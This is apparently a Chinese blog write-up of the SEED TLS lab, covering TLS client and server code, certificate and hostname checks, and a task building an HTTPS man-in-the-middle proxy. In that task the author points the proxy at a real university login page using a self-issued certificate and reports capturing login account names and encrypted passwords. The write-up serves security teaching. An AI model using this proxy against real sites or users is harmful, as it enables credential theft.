TLS Lab(Transport Layer Security Lab,SEED实验)基于PKI实验内容进行中间人攻击实验

TLS实验

实验环境配置

由于本实验默认已完成上一个关于PKI的实验内容,所以实验配置这里不细说,详细内容可以查看这一篇。只需将本实验相关的LabSetup放入虚机中,按照同样的方式执行。

task1 TLS客户端

搭建一个TLS客户端程序

1.a TLS握手

实验为我们提供了一个python的TLS握手程序,本小节只需执行该程序并查看结果:

#!/usr/bin/env python3

import socket
import ssl
import sys
import pprint

hostname = sys.argv[1]
port = 443
cadir = '/etc/ssl/certs'
#cadir = './client-certs'

# Set up the TLS context
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)  # For Ubuntu 20.04 VM
# context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)      # For Ubuntu 16.04 VM

context.load_verify_locations(capath=cadir)
context.verify_mode = ssl.CERT_REQUIRED
context.check_hostname = True

# Create TCP connection
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((hostname, port))
input("After making TCP connection. Press any key to continue ...")

# Add the TLS
ssock = context.wrap_socket(sock, server_hostname=hostname,
                            do_handshake_on_connect=False)
ssock.do_handshake()   # Start the handshake
print("=== Cipher used: {}".format(ssock.cipher()))
print("=== Server hostname: {}".format(ssock.server_hostname))
print("=== Server certificate:")
pprint.pprint(ssock.getpeercert())
pprint.pprint(context.get_ca_certs())
input("After TLS handshake. Press any key to continue ...")

# Close the TLS Connection
ssock.shutdown(socket.SHUT_RDWR)
ssock.close()

我们进入客户端容器(container:client)的共享文件夹volumes,执行程序并添加一个我们希望进行通信的、支持https的网络服务器作为参数:

handshake.py ehall.seu.edu.cn

可以查看结果是:
在这里插入图片描述
回答以下问题:

• What is the cipher used between the client and the server?
• Please print out the server certificate in the program.
• Explain the purpose of /etc/ssl/certs.
• Use Wireshark to capture the network traffics during the execution of the program, and explain your observation. In particular, explain which step triggers the TCP handshake, and which step triggers the TLS handshake. Explain the relationship between the TLS handshake and the TCP handshake.

  1. (‘ECDHE-RSA-AES256-GCM-SHA384’, ‘TLSv1.2’, 256)
{'OCSP': ('http://ocsp.digicert.cn',),
 'caIssuers': ('http://cacerts.digicert.cn/GeoTrustRSACNCAG2.crt',),
 'crlDistributionPoints': ('http://crl.digicert.cn/GeoTrustRSACNCAG2.crl',),
 'issuer': ((('countryName', 'US'),),
            (('organizationName', 'DigiCert Inc'),),
            (('commonName', 'GeoTrust RSA CN CA G2'),)),
 'notAfter': 'Jul 10 23:59:59 2023 GMT',
 'notBefore': 'Jun  9 00:00:00 2022 GMT',
 'serialNumber': '08102829656C723ABA92C1FA58F0E960',
 'subject': ((('countryName', 'CN'),),
             (('stateOrProvinceName', '江苏省'),),
             (('localityName', '南京市'),),
             (('organizationName', '东南大学'),),
             (('commonName', '*.seu.edu.cn'),)),
 'subjectAltName': (('DNS', '*.seu.edu.cn'), ('DNS', 'seu.edu.cn')),
 'version': 3}
  1. /etc/ssl/certs是系统保存的证书文件,我们首先使用PKI实验中我们未经认证的网站看看(可以查看这一篇):

    handshake.py 10.9.0.80
    

    发现报错:

    ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] \
    certificate verify failed: unable to get local issuer certificate (_ssl.c:1123)
    

    可以使用ls等指令查看内部文件,这里不予展示了。

    结论:这个路径下放置的是系统认证信任的CA的证书,没有在该路径下存在的证书均被认为是不可信的

  2. 使用wireshark捕获网络流量包,如何使用这里不作介绍,仅展示结果:
    在这里插入图片描述
    可以发现,1-2是获取目标DNS,3-5是TCP三步握手,6-15是TLS握手,17-19是结束会话

1.b CA证书

这里是根据上一小节第三问,将Python代码中对/etc/ssl/certs的访问转向我们自定义的路径,即./client-certs。目的是让我们找到访问网站时的CA证书。我们将代码源本复制为handshake_origin.py
额外目标是让我们找到2个以上的网站的CA证书。

  • 我们先找www.bilibili.com的证书。通过origin代码我们可以发现:
    在这里插入图片描述
    来到/etc/ssl/certs路径下,通过grep找到对应文件并复制到我们之前提到的client的路径下(这里是错误示范,应当复制其hash链接文件062……e6.0):
    在这里插入图片描述
    复制hash链接文件的原因是因为TLS在使用证书前会通过hash值认证证书防止其被更改。如果我们上一步操作复制的是.pem文件,我们也可以使用以下指令为其直接生成一个8位的hash值并用其生成对应链接:

    $ openssl x509 -in someCA.pem -noout -subject_hash
    # 例如生成:4a6481c9
    $ ln -s someCA.pem 4a6481c9.0 
    

    这里文件后缀为.pem,实际上是证书的标准格式,实际上证书的.crt文件也是使用的该格式,两者没有区别。

  • 我们再找一个网站ehall.seu.edu.cn
    在这里插入图片描述
    找到并复制对应的hash链接:
    在这里插入图片描述
    可以正常访问了:
    在这里插入图片描述

值得注意的一点是,这一小节我们不能使用PKI实验中我们生成的CA证书,会提示以下错误信息(但是过了一会再试一次又不提示能正常显示了,无语了……)(这里链接到task2.a)(问题解决了,握手时应该使用其域名访问,而不应该使用IP地址访问。理由是因为证书签名是颁发给该域名的,域名合法不代表某IP地址合法,因此只能使用域名访问):

certificate verify failed: IP address mismatch, \
certificate is not valid for '10.9.0.80'. (_ssl.c:1123)

1.c 主机名检查

本节要求我们输入一个网站A的域名并将其导向网站B的IP地址。我们通过dig命令查询到ehall.seu.edu.cn的IP地址是58.192.118.131,在container中的hosts文件中将www.sun2022.com指向该地址:
在这里插入图片描述

我们发现:
在这里插入图片描述

将Python文件中的域名检查改为False:
在这里插入图片描述
则又能正常通信了,并且被引流向了另一个网址B:
在这里插入图片描述

由此可以看出,如果不进行主机名检验,那么攻击者就可以通过盗取使用其他网站的合法证书发送给受害者,并利用盗取的密钥来冒充自己伪造的网站的合法性,发回给用户进行验证;其他网站的证书——根据PKI实验得知——会加密保有其注册的域名,但由于用户忽略了主机名校验,不会察觉,达到网站欺骗用户的目的。

1.d 发送及接收数据

将以下代码添加在原代码建立TLS对话后:

# Send HTTP Request to Server
request = b"GET / HTTP/1.0\r\nHost: " + \
hostname.encode('utf-8') + b"\r\n\r\n"
ssock.sendall(request)
# Read HTTP Response from Server
response = ssock.recv(2048)
while response:
pprint.pprint(response.split(b"\r\n"))
response = ssock.recv(2048)

www.bilibili.com执行后得到:
在这里插入图片描述
收到了对方的返回报文,是302。得知B站有分流,在使用dig指令时也可以发现其流量基本都被转向了其CDN,所以直接向B站发送报文会收到302。

task2 TLS服务器

在开始本节实验之前需要创建一个CA,并用此给一个服务器发放证书签名。本过程已经在PKI实验中全都完成了,只需要将其中生成的server.*文件放入共享文件夹的server-certs路径下。

2.a 发起一个简单的TLS服务器

虚机内已经附带一个服务器代码(代码有错):

#!/usr/bin/env python3
import socket
import ssl
html = """
HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n
<!DOCTYPE html><html><body><h1>Hello, world!</h1></body></html>
"""
SERVER_CERT = './server-certs/server.crt'
SERVER_PRIVATE = './server-certs/server.key'
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(SERVER_CERT, SERVER_PRIVATE)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
sock.bind(('0.0.0.0', 443))
sock.listen(5)
while True:
	newsock, fromaddr = sock.accept()
	ssock = context.wrap_socket(newsock, server_side=True)
	data = ssock.recv(1024) # Read data over TLS
	ssock.sendall(html.encode('utf-8')) # Send data over TLS
	ssock.shutdown(socket.SHUT_RDWR) # Close the TLS connection
	ssock.close()

本小节要求我们同时运行服务器端和客户端,并用客户端访问我们的服务器。注意运行服务器端时,要将代码中的证书名称与实际证书名称统一。另外,本次实验提供的代码中服务器代码打开的端口是4433,要将其修改为https使用的443!!

  • 使用客户端的握手源码访问服务器,由于没有证书所以认证失败:在这里插入图片描述

  • 使用新的握手代码,认证证书在自定义路径下,添加我们自行发布的CA证书后访问,可以正常访问:
    在这里插入图片描述

2.b 使用浏览器测试服务器

在主虚机的hosts中添加ip映射,同时还要为浏览器添加CA认证证书(PKI实验中已添加,这里不再展示):
在这里插入图片描述
使用浏览器访问,符合我们设定的html内容:

<!DOCTYPE html><html><body><h1>This is Bank32.com!</h1></body></html>

在这里插入图片描述

2.c 拥有重名的证书

许多网站具有多个域名,但都使用的同一份证书。在PKI实验中我们是在生成证书的同时使用参数添加的多个别名域名(SAN)。这里我们使用预先设定的配置文件来新生成一份证书:

# server_openssl.conf
[ req ]
prompt = no
distinguished_name = req_distinguished_name
req_extensions = req_ext

[ req_distinguished_name ]
C = US
ST = New York
L = Syracuse
O = XYZ LTD.
CN = www.sun2022.com

[ req_ext ]
subjectAltName = @alt_names

[alt_names]
DNS.1 = www.sun2022.com
DNS.2 = www.example.com
DNS.3 = *.sun2022.com

使用参数将配置文件附加进证书申请中:

openssl req -newkey rsa:2048 -config ../server_openssl.conf \
			-batch -sha256 -out server.csr -keyout server.key

再使用PKI实验中我们复制好的CA配置文件生成新的证书:在这里插入图片描述
值得注意的一点是:配置文件中对证书所属地的设置必须要与CA的(C、ST、O)这三条相同才能成功生成。
我们可以将新生成的证书放入服务器端,并尝试用客户端链接通信。这次的证书给予了*sun2022.com所以我们可以尝试第三层下任意域名的访问。

可以从别名设置看出,新的证书已经生效
在这里插入图片描述

在修改hosts时要注意,hosts并不支持正则匹配,所以要完整写出域名内容
在这里插入图片描述
与此同时,这三个网站均能与我们的服务器建立TLS通信,这里展示第三个成功信息:
在这里插入图片描述

task3 一个简单的HTTPS代理

跟随实验脚步,我们得知,一个代理就是又当客户端又当服务器端,需要在接收客户端信息时交给服务器端,间接实现两者间通信。实现代码如下(以访问知乎为例,但我们仍是对我们亲爱的(?)ehall下手/呲牙):

#!/usr/bin/env python3  
import threading  
import ssl  
import socket  
  
cadir = "/etc/ssl/certs"  
  
def process_request(ssock_for_browser):  
    hostname = "www.zhihu.com"  
    # Make a connection to the real server  
    sock_for_server = socket.create_connection((hostname, 443))  
    # Set up the TLS context  
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)  
    context.load_verify_locations(capath=cadir)  
    context.verify_mode = ssl.CERT_REQUIRED  
    context.check_hostname = True  
    print("sock_for_server")  
    ssock_for_server = context.wrap_socket(sock_for_server, server_hostname=hostname, do_handshake_on_connect=False)  
    ssock_for_server.do_handshake()  
      
    request = ssock_for_browser.recv(2048)  
    if request:  
        # Forward request to server  
        ssock_for_server.sendall(request)  
  
    # Get response from server, and forward it to browser  
    response = ssock_for_server.recv(2048)  
    while response:  
        ssock_for_browser.sendall(response) # Forward to browser  
        response = ssock_for_server.recv(2048)  
      
    ssock_for_browser.shutdown(socket.SHUT_RDWR)  
    ssock_for_browser.close()  
     
SERVER_CERT = "./zhihu.crt"  
SERVER_PRIVATE = "./zhihu.key"  
context_srv = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)  
context_srv.load_cert_chain(SERVER_CERT, SERVER_PRIVATE)  
sock_listen = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)  
sock_listen.bind(("0.0.0.0", 443))  
sock_listen.listen(5)  
  
while True:  
    sock_for_browser, fromaddr = sock_listen.accept()  
    print(fromaddr)  
    ssock_for_browser = context_srv.wrap_socket(sock_for_browser, server_side=True)  
    x = threading.Thread(target=process_request, args=(ssock_for_browser,))  
    x.start()  

由于我们需要通过代理登录网站实现登录,而docker容器只能看到终端,不易操作,所以我们只能在主虚机上使用浏览器登录,将主虚机的流量导向代理。在Proxy容器中修改/etc/resolv.cnf,将代理的nameserver修改为8.8.8.8以使其不受主虚机的域名解析影响。(原本默认为127.0.0.11为内网地址,可能会受主虚机影响,但几次ping的实验及wireshark抓包并未发现受到影响,但不改的话确实无法访问,所以建议还是进行修改为好)
在这里插入图片描述

注意点

  • 第一点 证书重新生成
    我们这里依然以SEU的综合服务大厅登录界面为例。首先修改上述代码中的目标网址,我们知道ehall的新版登录界面实际上是在https://newids.seu.edu.cn/authserver/login?service=https://newids.seu.edu.cn/authserver/login2.jsp。其次要重新为该网址用我们的CA生成证书,配置文件可以使用task1中的handshake查询,我们生成如下证书:
    在这里插入图片描述
    这里生成的证书与国家等属性无关,只需要域名正确即可。
  • 第二点 域名映射
    将主虚机的hosts添加newids.seu.edu.cn,但是不要添加ehall.seu.edu.cn,因为我们的代码目前只能访问一个固定网址,如果添加ehall则会造成用户访问失败,造成攻击被察觉。
    在这里插入图片描述
    我们尝试登录网站,可以发现能够正常登录,并且通过浏览器抓包查看证书发现,使用的证书也正是我们自己颁发的证书:
    在这里插入图片描述
    尝试登录一下网站,魔改了上面的代码后我们可以查看所有的request,尝试输出到终端,可以看到登录使用的账号及加密后的密码(其他报文还能查看到salt):
    在这里插入图片描述
    并且由于我们没有将ehall也导向我们的proxy,所以可以正常访问:
    在这里插入图片描述

总结

本节告诉我们使用代理(魔法)是多么的危险,以后在使用大魔法转移术时一定要小心不要输入任何关键信息,尤其是密码。虽然目前各大网站就如实验手册所言登录系统比较安全,许多魔法卷轴也都比较值得信任,但仍应对其提高警惕,避免让任何人拥有可乘之机。

  • 12
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

winnower-sliff

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值